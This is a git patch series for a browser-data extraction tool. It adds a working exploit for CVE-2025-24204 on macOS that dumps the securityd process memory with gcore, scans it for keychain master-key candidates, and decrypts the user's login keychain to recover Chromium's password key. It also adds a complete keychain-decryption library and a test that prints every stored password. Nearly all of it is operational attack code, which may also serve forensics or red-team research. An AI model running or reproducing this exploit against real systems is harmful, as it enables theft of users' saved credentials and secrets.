From 33db01f47805aecbe7e78db709ab6d8aa61d83b6 Mon Sep 17 00:00:00 2001 From: ac0d3r Date: Tue, 25 Nov 2025 23:02:16 +0800 Subject: [PATCH 1/3] feat: Decrypt the browser master key on macOS via CVE-2025-24204 --- browser/chromium/chromium_darwin.go | 26 +- .../exploit/cve2025_24204/cve2025_24204.go | 223 ++++++ utils/chainbreaker/chainbreaker.go | 696 ++++++++++++++++++ utils/chainbreaker/chainbreaker_test.go | 30 + 4 files changed, 974 insertions(+), 1 deletion(-) create mode 100644 browser/exploit/cve2025_24204/cve2025_24204.go create mode 100644 utils/chainbreaker/chainbreaker.go create mode 100644 utils/chainbreaker/chainbreaker_test.go diff --git a/browser/chromium/chromium_darwin.go b/browser/chromium/chromium_darwin.go index 6e8919cf..6fe3dc5e 100644 --- a/browser/chromium/chromium_darwin.go +++ b/browser/chromium/chromium_darwin.go @@ -11,6 +11,7 @@ import ( "os/exec" "strings" + "github.com/moond4rk/hackbrowserdata/browser/exploit/cve2025_24204" "github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/types" @@ -24,6 +25,24 @@ var ( func (c *Chromium) GetMasterKey() ([]byte, error) { // don't need chromium key file for macOS defer os.Remove(types.ChromiumKey.TempFilename()) + + // Try get the master key via CVE-2025-24204 + if cve2025_24204.GetMacOSVersion() == cve2025_24204.ExploitOSVersion { + if os.Geteuid() == 0 { + secret, err := cve2025_24204.DecryptKeychain(c.storage) + if err == nil { + log.Debugf("get master key via CVE-2025-24204 success, browser %s", c.name) + if key, err := c.parseSecret([]byte(secret)); err == nil { + return key, nil + } + } + + log.Warnf("get master key via CVE-2025-24204 failed: %v", err) + } else { + log.Warnf("CVE-2025-24204 exploit requires root privileges, skipping...") + } + } + // Get the master key from the keychain // $ security find-generic-password -wa 'Chrome' var ( @@ -43,10 +62,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) { return nil, errors.New(stderr.String()) } - secret := bytes.TrimSpace(stdout.Bytes()) + return c.parseSecret(stdout.Bytes()) +} + +func (c *Chromium) parseSecret(secret []byte) ([]byte, error) { + secret = bytes.TrimSpace(secret) if len(secret) == 0 { return nil, errWrongSecurityCommand } + salt := []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New) diff --git a/browser/exploit/cve2025_24204/cve2025_24204.go b/browser/exploit/cve2025_24204/cve2025_24204.go new file mode 100644 index 00000000..f349bc4a --- /dev/null +++ b/browser/exploit/cve2025_24204/cve2025_24204.go @@ -0,0 +1,223 @@ +//go:build darwin + +// CVE-2025-24204 +// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain + +package cve2025_24204 + +import ( + "debug/macho" + "encoding/binary" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "time" + "unsafe" + + "golang.org/x/sys/unix" + + "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/utils/chainbreaker" +) + +const ExploitOSVersion = "15.0" + +var ( + homeDir, _ = os.UserHomeDir() + LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db" +) + +func GetMacOSVersion() string { + v, err := unix.Sysctl("kern.osproductversion") + if err == nil { + return v + } + return "" +} + +func FindProcessByName(name string, forceRoot bool) (int, error) { + buf, err := unix.SysctlRaw("kern.proc.all") + if err != nil { + return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err) + } + + kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{})) + if len(buf)%kinfoSize != 0 { + return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length") + } + + count := len(buf) / kinfoSize + for i := 0; i < count; i++ { + proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize])) + // P_comm is [16]byte on Darwin (in newer x/sys/unix versions) + pname := byteSliceToString(proc.Proc.P_comm[:]) + if pname == name { + // Note: P_ppid is in Eproc on some versions, but usually in ExternProc. + // In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid. + // If P_ppid is missing, we can rely on P_ruid. + if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 { + return int(proc.Proc.P_pid), nil + } + } + } + return 0, fmt.Errorf("securityd process not found") +} + +type addressRange struct { + start uint64 + end uint64 +} + +func DecryptKeychain(storagename string) (string, error) { + // find securityd PID + pid, err := FindProcessByName("securityd", true) + if err != nil { + return "", fmt.Errorf("failed to find securityd pid: %w", err) + } + + corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano())) + defer os.Remove(corePath) + + // dump securityd memory: + // gcore -d -s -v -o core_path PID + cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid)) + if err := cmd.Run(); err != nil { + return "", fmt.Errorf("failed to dump securityd memory: %w", err) + } + + // find MALLOC_SMALL regions + regions, err := findMallocSmallRegions(pid) + if err != nil { + return "", fmt.Errorf("failed to find malloc small regions: %w", err) + } + + // open core dump + cmf, err := macho.Open(corePath) + if err != nil { + return "", fmt.Errorf("failed to open core dump: %w", err) + } + defer cmf.Close() + + // scan regions + var candidates []string + seen := make(map[string]struct{}) + for _, region := range regions { + // read region data + data, vaddr, err := getMallocSmallRegionData(cmf, region) + if err != nil { + // Region might not be in core dump or other error, skip + continue + } + // Search for pattern + // 0x18 (8 bytes) followed by pointer (8 bytes) + for i := 0; i < len(data)-16; i += 8 { + val := binary.LittleEndian.Uint64(data[i : i+8]) + if val == 0x18 { + ptr := binary.LittleEndian.Uint64(data[i+8 : i+16]) + if ptr >= region.start && ptr <= region.end { + offset := ptr - vaddr + if offset+0x18 <= uint64(len(data)) { + masterKey := make([]byte, 0x18) + copy(masterKey, data[offset:offset+0x18]) + + keyStr := fmt.Sprintf("%x", masterKey) + if _, found := seen[keyStr]; !found { + candidates = append(candidates, keyStr) + seen[keyStr] = struct{}{} + log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr) + } + } + } + } + } + + } + + // fuzz master key candidates + for _, candidate := range candidates { + kc, err := chainbreaker.New(LoginKeychainPath, candidate) + if err != nil { + log.Debugf("Failed to unlock keychain: %v", err) + continue + } + + records, err := kc.DumpGenericPasswords() + if err != nil { + log.Debugf("Failed to unlock keychain: %v", err) + continue + } + for _, rec := range records { + if rec.Account == storagename { + // TODO decode base64 password + if rec.PasswordBase64 { + } + return rec.Password, nil + } + } + } + + return "", nil +} + +func findMallocSmallRegions(pid int) ([]addressRange, error) { + cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid)) + output, err := cmd.Output() + if err != nil { + return nil, err + } + + var regions []addressRange + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "MALLOC_SMALL") { + parts := strings.Fields(line) + if len(parts) < 2 { + continue + } + rangeStr := parts[1] + rangeParts := strings.Split(rangeStr, "-") + if len(rangeParts) != 2 { + continue + } + start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64) + if err != nil { + continue + } + end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64) + if err != nil { + continue + } + regions = append(regions, addressRange{start: start, end: end}) + } + } + return regions, nil +} + +func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) { + for _, seg := range f.Loads { + if s, ok := seg.(*macho.Segment); ok { + if s.Addr == region.start && s.Addr+s.Memsz == region.end { + data := make([]byte, s.Filesz) + _, err := s.ReadAt(data, 0) + if err != nil { + return nil, 0, err + } + return data, s.Addr, nil + } + } + } + return nil, 0, fmt.Errorf("region not found in core dump") +} + +func byteSliceToString(s []byte) string { + for i, v := range s { + if v == 0 { + return string(s[:i]) + } + } + return string(s) +} diff --git a/utils/chainbreaker/chainbreaker.go b/utils/chainbreaker/chainbreaker.go new file mode 100644 index 00000000..c1d0f7ec --- /dev/null +++ b/utils/chainbreaker/chainbreaker.go @@ -0,0 +1,696 @@ +package chainbreaker + +// Logic ported from https://github.com/n0fate/chainbreaker + +import ( + "bytes" + "crypto/cipher" + "crypto/des" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "errors" + "fmt" + "os" + "strings" + "time" + "unicode/utf8" +) + +const ( + atomSize = 4 + headerSize = 20 + schemaSize = 8 + tableHeaderSize = 28 + keyBlobRecordHeaderSize = 132 + keyBlobStructSize = 24 + genericPasswordHeaderSize = 22 * 4 + blockSize = 8 + keyLength = 24 + metadataOffsetAdjustment = 0x38 + keyBlobMagic uint32 = 0xFADE0711 + keychainSignature = "kych" + secureStorageGroup = "ssgp" + keychainLockedSignature = "[Invalid Password / Keychain Locked]" +) + +const ( + cssmDBRecordTypeAppDefinedStart uint32 = 0x80000000 + cssmGenericPassword = cssmDBRecordTypeAppDefinedStart + 0 + cssmMetadata = cssmDBRecordTypeAppDefinedStart + 0x8000 + cssmDBRecordTypeOpenGroupStart uint32 = 0x0000000A + cssmSymmetricKey = cssmDBRecordTypeOpenGroupStart + 7 +) + +const dbBlobSize = 92 + +var magicCMSIV = []byte{0x4a, 0xdd, 0xa2, 0x2c, 0x79, 0xe8, 0x21, 0x05} + +type Keychain struct { + buf []byte + header applDBHeader + tableList []uint32 + tableEnum map[uint32]int + dbblob dbBlob + baseAddr int + dbKey []byte + keyList map[string][]byte +} + +type applDBHeader struct { + Signature [4]byte + Version uint32 + HeaderSize uint32 + SchemaOffset uint32 + AuthOffset uint32 +} + +type applDBSchema struct { + SchemaSize uint32 + TableCount uint32 +} + +type tableHeader struct { + TableSize uint32 + TableID uint32 + RecordCount uint32 + Records uint32 + IndexesOffset uint32 + FreeListHead uint32 + RecordNumbersCount uint32 +} + +type dbBlob struct { + StartCryptoBlob uint32 + TotalLength uint32 + Salt []byte + IV []byte +} + +type keyBlobRecordHeader struct { + RecordSize uint32 + RecordCount uint32 +} + +type keyBlob struct { + Magic uint32 + StartCryptoBlob uint32 + TotalLength uint32 + IV []byte +} + +type genericPasswordHeader struct { + RecordSize uint32 + SSGPArea uint32 + CreationDate uint32 + ModDate uint32 + Description uint32 + Comment uint32 + Creator uint32 + Type uint32 + PrintName uint32 + Alias uint32 + Account uint32 + Service uint32 +} + +type ssgpBlock struct { + Magic []byte + Label []byte + IV []byte + EncryptedPassword []byte +} + +type genericPassword struct { + Description string + Creator string + Type string + PrintName string + Alias string + Account string + Service string + Created string + LastModified string + Password string + PasswordBase64 bool +} + +func New(path, unlockHex string) (*Keychain, error) { + buf, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + hdr, err := parseHeader(buf) + if err != nil { + return nil, err + } + if string(hdr.Signature[:]) != keychainSignature { + return nil, fmt.Errorf("invalid keychain signature: %q", hdr.Signature) + } + + schema, tableList, err := parseSchema(buf, hdr.SchemaOffset) + if err != nil { + return nil, err + } + if schema.TableCount == 0 { + return nil, errors.New("schema does not list any tables") + } + + kc := &Keychain{ + buf: buf, + header: hdr, + tableList: tableList, + tableEnum: make(map[uint32]int), + keyList: make(map[string][]byte), + } + if err := kc.buildTableIndex(); err != nil { + return nil, err + } + + metaOffset, err := kc.getTableOffset(cssmMetadata) + if err != nil { + return nil, err + } + + kc.baseAddr = headerSize + int(metaOffset) + metadataOffsetAdjustment + if kc.baseAddr+dbBlobSize > len(kc.buf) { + return nil, errors.New("db blob exceeds file size") + } + blob, err := parseDBBlob(kc.buf[kc.baseAddr : kc.baseAddr+dbBlobSize]) + if err != nil { + return nil, err + } + kc.dbblob = blob + + masterKey, err := decodeUnlockKey(unlockHex) + if err != nil { + return nil, err + } + + dbKey, err := kc.findWrappingKey(masterKey) + if err != nil { + return nil, err + } + kc.dbKey = dbKey + + if err := kc.generateKeyList(); err != nil { + return nil, err + } + + return kc, nil +} + +func parseHeader(buf []byte) (applDBHeader, error) { + if len(buf) < headerSize { + return applDBHeader{}, errors.New("file too small for header") + } + hdr := applDBHeader{} + copy(hdr.Signature[:], buf[:4]) + hdr.Version = binary.BigEndian.Uint32(buf[4:8]) + hdr.HeaderSize = binary.BigEndian.Uint32(buf[8:12]) + hdr.SchemaOffset = binary.BigEndian.Uint32(buf[12:16]) + hdr.AuthOffset = binary.BigEndian.Uint32(buf[16:20]) + return hdr, nil +} + +func parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, error) { + if int(offset)+schemaSize > len(buf) { + return applDBSchema{}, nil, errors.New("schema offset exceeds file size") + } + schema := applDBSchema{} + start := int(offset) + schema.SchemaSize = binary.BigEndian.Uint32(buf[start : start+4]) + schema.TableCount = binary.BigEndian.Uint32(buf[start+4 : start+8]) + + baseAddr := headerSize + schemaSize + tableList := make([]uint32, schema.TableCount) + for i := 0; i < int(schema.TableCount); i++ { + pos := baseAddr + i*atomSize + if pos+atomSize > len(buf) { + return applDBSchema{}, nil, errors.New("table list exceeds file size") + } + tableList[i] = binary.BigEndian.Uint32(buf[pos : pos+atomSize]) + } + return schema, tableList, nil +} + +func parseDBBlob(buf []byte) (dbBlob, error) { + if len(buf) < dbBlobSize { + return dbBlob{}, errors.New("db blob buffer too small") + } + blob := dbBlob{} + blob.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12]) + blob.TotalLength = binary.BigEndian.Uint32(buf[12:16]) + // Salt and IV are located after the random signature (16 bytes), sequence (4 bytes), + // and DB parameters (8 bytes) inside the blob structure. + blob.Salt = append([]byte{}, buf[44:64]...) + blob.IV = append([]byte{}, buf[64:72]...) + return blob, nil +} + +func decodeUnlockKey(hexKey string) ([]byte, error) { + cleaned := strings.TrimSpace(hexKey) + cleaned = strings.TrimPrefix(cleaned, "0x") + key, err := hex.DecodeString(cleaned) + if err != nil { + return nil, fmt.Errorf("unable to decode unlock key: %w", err) + } + if len(key) != keyLength { + return nil, fmt.Errorf("unlock key must be %d bytes (got %d)", keyLength, len(key)) + } + return key, nil +} + +func (kc *Keychain) buildTableIndex() error { + for idx, offset := range kc.tableList { + if offset == 0 { + continue + } + meta, _, err := kc.getTable(offset) + if err != nil { + continue + } + if _, exists := kc.tableEnum[meta.TableID]; !exists { + kc.tableEnum[meta.TableID] = idx + } + } + if len(kc.tableEnum) == 0 { + return errors.New("unable to derive table index") + } + return nil +} + +func (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) { + idx, ok := kc.tableEnum[tableID] + if !ok || idx >= len(kc.tableList) { + return 0, fmt.Errorf("table id %d not present", tableID) + } + return kc.tableList[idx], nil +} + +func (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []uint32, error) { + offset, err := kc.getTableOffset(tableID) + if err != nil { + return tableHeader{}, nil, err + } + return kc.getTable(offset) +} + +func (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, error) { + base := headerSize + int(offset) + if base < 0 || base+tableHeaderSize > len(kc.buf) { + return tableHeader{}, nil, errors.New("table header exceeds file size") + } + meta := tableHeader{} + data := kc.buf[base : base+tableHeaderSize] + meta.TableSize = binary.BigEndian.Uint32(data[0:4]) + meta.TableID = binary.BigEndian.Uint32(data[4:8]) + meta.RecordCount = binary.BigEndian.Uint32(data[8:12]) + meta.Records = binary.BigEndian.Uint32(data[12:16]) + meta.IndexesOffset = binary.BigEndian.Uint32(data[16:20]) + meta.FreeListHead = binary.BigEndian.Uint32(data[20:24]) + meta.RecordNumbersCount = binary.BigEndian.Uint32(data[24:28]) + + recordBase := base + tableHeaderSize + recordList := make([]uint32, 0, meta.RecordCount) + for idx := 0; idx < int(meta.RecordCount); idx++ { + pos := recordBase + idx*atomSize + if pos+atomSize > len(kc.buf) { + return meta, recordList, errors.New("record offset exceeds file size") + } + value := binary.BigEndian.Uint32(kc.buf[pos : pos+atomSize]) + if value != 0 && value%4 == 0 { + recordList = append(recordList, value) + } + } + return meta, recordList, nil +} + +func (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) { + start := kc.baseAddr + int(kc.dbblob.StartCryptoBlob) + end := kc.baseAddr + int(kc.dbblob.TotalLength) + if start < 0 || end > len(kc.buf) || start >= end { + return nil, errors.New("db blob cipher bounds invalid") + } + plain, err := kcdecrypt(master, kc.dbblob.IV, kc.buf[start:end]) + if err != nil { + return nil, err + } + if len(plain) < keyLength { + return nil, errors.New("db key shorter than expected") + } + return append([]byte{}, plain[:keyLength]...), nil +} + +func (kc *Keychain) generateKeyList() error { + _, records, err := kc.getTableFromType(cssmSymmetricKey) + if err != nil { + return err + } + for _, recordOffset := range records { + index, ciphertext, iv, err := kc.getKeyblobRecord(recordOffset) + if err != nil { + continue + } + key, err := keyblobDecryption(ciphertext, iv, kc.dbKey) + if err != nil || len(key) == 0 { + continue + } + kc.keyList[string(index)] = key + } + if len(kc.keyList) == 0 { + return errors.New("no symmetric keys recovered") + } + return nil +} + +func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []byte, []byte, error) { + base, err := kc.getBaseAddress(cssmSymmetricKey, recordOffset) + if err != nil { + return nil, nil, nil, err + } + if base+keyBlobRecordHeaderSize > len(kc.buf) { + return nil, nil, nil, errors.New("keyblob header exceeds file size") + } + hdr := keyBlobRecordHeader{} + hdr.RecordSize = binary.BigEndian.Uint32(kc.buf[base : base+4]) + hdr.RecordCount = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) + + recordStart := base + keyBlobRecordHeaderSize + recordEnd := base + int(hdr.RecordSize) + if recordEnd > len(kc.buf) { + return nil, nil, nil, errors.New("keyblob record exceeds file size") + } + record := kc.buf[recordStart:recordEnd] + if len(record) < keyBlobStructSize { + return nil, nil, nil, errors.New("keyblob structure incomplete") + } + blob, err := parseKeyBlob(record[:keyBlobStructSize]) + if err != nil { + return nil, nil, nil, err + } + if blob.Magic != keyBlobMagic { + return nil, nil, nil, errors.New("unexpected keyblob magic") + } + if secureStorageGroup != readASCII(record, int(blob.TotalLength)+8, 4) { + return nil, nil, nil, errors.New("keyblob not part of secure storage group") + } + + cipherStart := int(blob.StartCryptoBlob) + cipherEnd := int(blob.TotalLength) + if cipherEnd > len(record) || cipherStart >= cipherEnd { + return nil, nil, nil, errors.New("invalid cipher bounds") + } + cipherText := append([]byte{}, record[cipherStart:cipherEnd]...) + + indexStart := int(blob.TotalLength) + 8 + indexEnd := indexStart + 20 + if indexEnd > len(record) { + return nil, nil, nil, errors.New("key index exceeds record length") + } + index := append([]byte{}, record[indexStart:indexEnd]...) + iv := append([]byte{}, blob.IV...) + return index, cipherText, iv, nil +} + +func parseKeyBlob(buf []byte) (keyBlob, error) { + if len(buf) < keyBlobStructSize { + return keyBlob{}, errors.New("key blob buffer too small") + } + kb := keyBlob{} + kb.Magic = binary.BigEndian.Uint32(buf[0:4]) + kb.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12]) + kb.TotalLength = binary.BigEndian.Uint32(buf[12:16]) + kb.IV = append([]byte{}, buf[16:24]...) + return kb, nil +} + +func (kc *Keychain) getBaseAddress(tableID uint32, offset uint32) (int, error) { + switch tableID { + case 23972, 30912: + tableID = 16 + } + tableOffset, err := kc.getTableOffset(tableID) + if err != nil { + return 0, err + } + base := headerSize + int(tableOffset) + if offset != 0 { + base += int(offset) + } + if base > len(kc.buf) { + return 0, errors.New("base address exceeds buffer") + } + return base, nil +} + +func keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) { + plain, err := kcdecrypt(dbkey, magicCMSIV, encryptedblob) + if err != nil { + return nil, err + } + if len(plain) == 0 { + return nil, errors.New("empty plain blob") + } + if len(plain) < 32 { + return nil, errors.New("wrapped blob too short") + } + rev := make([]byte, 32) + for i := 0; i < 32; i++ { + rev[i] = plain[31-i] + } + finalPlain, err := kcdecrypt(dbkey, iv, rev) + if err != nil { + return nil, err + } + if len(finalPlain) < 4 { + return nil, errors.New("final plain too short") + } + key := finalPlain[4:] + if len(key) != keyLength { + return nil, errors.New("invalid unwrapped key length") + } + return append([]byte{}, key...), nil +} + +func kcdecrypt(key, iv, data []byte) ([]byte, error) { + if len(data) == 0 { + return nil, errors.New("ciphertext is empty") + } + if len(data)%blockSize != 0 { + return nil, errors.New("ciphertext not aligned to block size") + } + block, err := des.NewTripleDESCipher(key) + if err != nil { + return nil, err + } + if len(iv) != blockSize { + return nil, errors.New("invalid IV length") + } + plain := make([]byte, len(data)) + cipher.NewCBCDecrypter(block, iv).CryptBlocks(plain, data) + + pad := int(plain[len(plain)-1]) + if pad == 0 || pad > blockSize { + return nil, errors.New("invalid padding value") + } + for _, b := range plain[len(plain)-pad:] { + if int(b) != pad { + return nil, errors.New("padding verification failed") + } + } + return plain[:len(plain)-pad], nil +} + +func (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) { + _, records, err := kc.getTableFromType(cssmGenericPassword) + if err != nil { + return nil, err + } + results := make([]genericPassword, 0, len(records)) + for _, offset := range records { + rec, err := kc.parseGenericPasswordRecord(offset) + if err != nil { + continue + } + results = append(results, rec) + } + return results, nil +} + +func (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (genericPassword, error) { + base, err := kc.getBaseAddress(cssmGenericPassword, recordOffset) + if err != nil { + return genericPassword{}, err + } + if base+genericPasswordHeaderSize > len(kc.buf) { + return genericPassword{}, errors.New("generic password header exceeds file size") + } + header, err := parseGenericPasswordHeader(kc.buf[base : base+genericPasswordHeaderSize]) + if err != nil { + return genericPassword{}, err + } + recordEnd := base + int(header.RecordSize) + if recordEnd > len(kc.buf) { + return genericPassword{}, errors.New("generic password record exceeds file size") + } + buffer := kc.buf[base+genericPasswordHeaderSize : recordEnd] + + ssgp, dbkey := kc.extractSSGP(header, buffer) + password, base64Encoded := decryptSSGP(ssgp, dbkey) + + rec := genericPassword{ + Description: kc.readLV(base, header.Description), + Creator: kc.readFourChar(base, header.Creator), + Type: kc.readFourChar(base, header.Type), + PrintName: kc.readLV(base, header.PrintName), + Alias: kc.readLV(base, header.Alias), + Account: kc.readLV(base, header.Account), + Service: kc.readLV(base, header.Service), + Created: kc.readKeychainTime(base, header.CreationDate), + LastModified: kc.readKeychainTime(base, header.ModDate), + Password: password, + PasswordBase64: base64Encoded, + } + return rec, nil +} + +func parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, error) { + if len(buf) < genericPasswordHeaderSize { + return genericPasswordHeader{}, errors.New("generic password header too small") + } + vals := make([]uint32, 22) + for i := 0; i < 22; i++ { + start := i * 4 + vals[i] = binary.BigEndian.Uint32(buf[start : start+4]) + } + hdr := genericPasswordHeader{ + RecordSize: vals[0], + SSGPArea: vals[4], + CreationDate: vals[6], + ModDate: vals[7], + Description: vals[8], + Comment: vals[9], + Creator: vals[10], + Type: vals[11], + PrintName: vals[13], + Alias: vals[14], + Account: vals[19], + Service: vals[20], + } + return hdr, nil +} + +func (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer []byte) (*ssgpBlock, []byte) { + if header.SSGPArea == 0 || int(header.SSGPArea) > len(buffer) { + return nil, nil + } + block, err := parseSSGP(buffer[:header.SSGPArea]) + if err != nil { + return nil, nil + } + keyIndex := make([]byte, 0, len(block.Magic)+len(block.Label)) + keyIndex = append(keyIndex, block.Magic...) + keyIndex = append(keyIndex, block.Label...) + dbkey, ok := kc.keyList[string(keyIndex)] + if !ok { + return block, nil + } + return block, dbkey +} + +func parseSSGP(buf []byte) (*ssgpBlock, error) { + if len(buf) < 28 { + return nil, errors.New("ssgp buffer too small") + } + block := &ssgpBlock{ + Magic: append([]byte{}, buf[0:4]...), + Label: append([]byte{}, buf[4:20]...), + IV: append([]byte{}, buf[20:28]...), + EncryptedPassword: append([]byte{}, buf[28:]...), + } + return block, nil +} + +func decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) { + if block == nil || len(dbkey) == 0 { + return keychainLockedSignature, false + } + plain, err := kcdecrypt(dbkey, block.IV, block.EncryptedPassword) + if err != nil || len(plain) == 0 { + return keychainLockedSignature, false + } + if utf8.Valid(plain) { + return string(plain), false + } + return base64.StdEncoding.EncodeToString(plain), true +} + +func (kc *Keychain) readKeychainTime(base int, ptr uint32) string { + if ptr == 0 { + return "" + } + offset := base + maskedPointer(ptr) + if offset < 0 || offset+16 > len(kc.buf) { + return "" + } + raw := bytes.TrimRight(kc.buf[offset:offset+16], "\x00") + if len(raw) == 0 { + return "" + } + parsed, err := time.Parse("20060102150405Z", string(raw)) + if err != nil { + return string(raw) + } + return parsed.Format(time.RFC3339) +} + +func (kc *Keychain) readFourChar(base int, ptr uint32) string { + if ptr == 0 { + return "" + } + offset := base + maskedPointer(ptr) + if offset < 0 || offset+4 > len(kc.buf) { + return "" + } + return strings.TrimRight(string(kc.buf[offset:offset+4]), "\x00") +} + +func (kc *Keychain) readLV(base int, ptr uint32) string { + if ptr == 0 { + return "" + } + offset := base + maskedPointer(ptr) + if offset < 0 || offset+4 > len(kc.buf) { + return "" + } + length := int(binary.BigEndian.Uint32(kc.buf[offset : offset+4])) + padded := alignToWord(length) + start := offset + 4 + end := start + padded + if end > len(kc.buf) { + return "" + } + data := kc.buf[start : start+length] + data = bytes.TrimRight(data, "\x00") + return string(data) +} + +func maskedPointer(value uint32) int { + return int(value & 0xFFFFFFFE) +} + +func alignToWord(value int) int { + if value%4 == 0 { + return value + } + return ((value / 4) + 1) * 4 +} + +func readASCII(buf []byte, start, length int) string { + if start < 0 || start+length > len(buf) { + return "" + } + return string(buf[start : start+length]) +} diff --git a/utils/chainbreaker/chainbreaker_test.go b/utils/chainbreaker/chainbreaker_test.go new file mode 100644 index 00000000..6a41f294 --- /dev/null +++ b/utils/chainbreaker/chainbreaker_test.go @@ -0,0 +1,30 @@ +package chainbreaker + +import ( + "testing" +) + +func TestUnlock(t *testing.T) { + keychain, err := New("./testdata/test.keychain-db", "xxx") + if err != nil { + t.Fatalf("Failed to unlock keychain: %v", err) + } + records, err := keychain.DumpGenericPasswords() + if err != nil { + t.Fatal(err) + } + + for _, rec := range records { + t.Log("[+] Generic Password Record") + t.Logf(" [-] Service: %s\n", rec.Service) + t.Logf(" [-] Account: %s\n", rec.Account) + t.Logf(" [-] Description: %s\n", rec.Description) + t.Logf(" [-] Created: %s\n", rec.Created) + t.Logf(" [-] Last Modified: %s\n", rec.LastModified) + if rec.PasswordBase64 { + t.Logf(" [-] Base64 Password: %s\n", rec.Password) + } else { + t.Logf(" [-] Password: %s\n", rec.Password) + } + } +} From 118dcddd4be2308f5c439fb8a2d93b3e5f494e63 Mon Sep 17 00:00:00 2001 From: ac0d3r Date: Thu, 27 Nov 2025 16:06:29 +0800 Subject: [PATCH 2/3] fix: resolve lint warnings and stabilize tests --- utils/chainbreaker/chainbreaker.go | 3 +-- utils/chainbreaker/chainbreaker_test.go | 4 ++-- utils/chainbreaker/testdata/test.keychain-db | Bin 0 -> 96848 bytes 3 files changed, 3 insertions(+), 4 deletions(-) create mode 100644 utils/chainbreaker/testdata/test.keychain-db diff --git a/utils/chainbreaker/chainbreaker.go b/utils/chainbreaker/chainbreaker.go index c1d0f7ec..e3565c85 100644 --- a/utils/chainbreaker/chainbreaker.go +++ b/utils/chainbreaker/chainbreaker.go @@ -89,7 +89,6 @@ type dbBlob struct { type keyBlobRecordHeader struct { RecordSize uint32 - RecordCount uint32 } type keyBlob struct { @@ -375,7 +374,7 @@ func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []byte, []byt } hdr := keyBlobRecordHeader{} hdr.RecordSize = binary.BigEndian.Uint32(kc.buf[base : base+4]) - hdr.RecordCount = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) + _ = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) // Skip RecordCount recordStart := base + keyBlobRecordHeaderSize recordEnd := base + int(hdr.RecordSize) diff --git a/utils/chainbreaker/chainbreaker_test.go b/utils/chainbreaker/chainbreaker_test.go index 6a41f294..6c9b9ba1 100644 --- a/utils/chainbreaker/chainbreaker_test.go +++ b/utils/chainbreaker/chainbreaker_test.go @@ -4,8 +4,8 @@ import ( "testing" ) -func TestUnlock(t *testing.T) { - keychain, err := New("./testdata/test.keychain-db", "xxx") +func TestUnlockKeychain(t *testing.T) { + keychain, err := New("./testdata/test.keychain-db", "6d43376c0d257bbaca2c41eded65b3b34a1a96bd19979bde") if err != nil { t.Fatalf("Failed to unlock keychain: %v", err) } diff --git a/utils/chainbreaker/testdata/test.keychain-db b/utils/chainbreaker/testdata/test.keychain-db new file mode 100644 index 0000000000000000000000000000000000000000..33a9d61fc6265058d82e376aad2027a9967a129c GIT binary patch literal 96848 zcmeFa2{={V7e9W@^N^`jgp?ukkQ6e8%tMi+F0LW-JR~7XMM*_U%8)dPqDaWtB&8?~ zRFYCrl0vEf+Sff^uP$A`_xFDPJ-_E&&+~E4I%lu7_u6}(&sk@Ze58 zQ9A?BoByuk;z4h~;i$kLl`S9&kO#O6WnmY!E+7F`GyzCPTQ$0l{t5#YkW@Y$D=U-r zy2k5uwbxte80eX3tv57XVMg2weu%b{*`vzl{%WsfZEb0&y~e&(G43n3Of?YUzU2SboA4jxG>@!AKV)n$1@JASc#*G6ozTYkN zbj&Pu*PE}>Ha65*Z=|;d_8S100F(KExq}lJ*JqdyOT*P#)_No-BtOhk_?ZFw=Kbo& zYK@7B9!vwQIXDy#2(L5zL2WXJg+1s1qL6f|bl48_pL#9;_ECe5jt3ghX+Wm|od$GT z&}l)Z1)UajI?(Arrvsf1bb8R~L8k|u9&`rK89-+ModI-4&>2Bz1f3CdCeWEcX9ArG zbY{?*L1zY?8FUuVSwLq2odtAO&{;ue1)UXiHqhBXX9JxLbav3$L1zb@9dr)RIY8$C zoda}E&^bZp1f3J~8KBPqeFo?=K<5IT3v@2fxj^Rzof~v+(78e90i6eQ9?*F}=LLPz 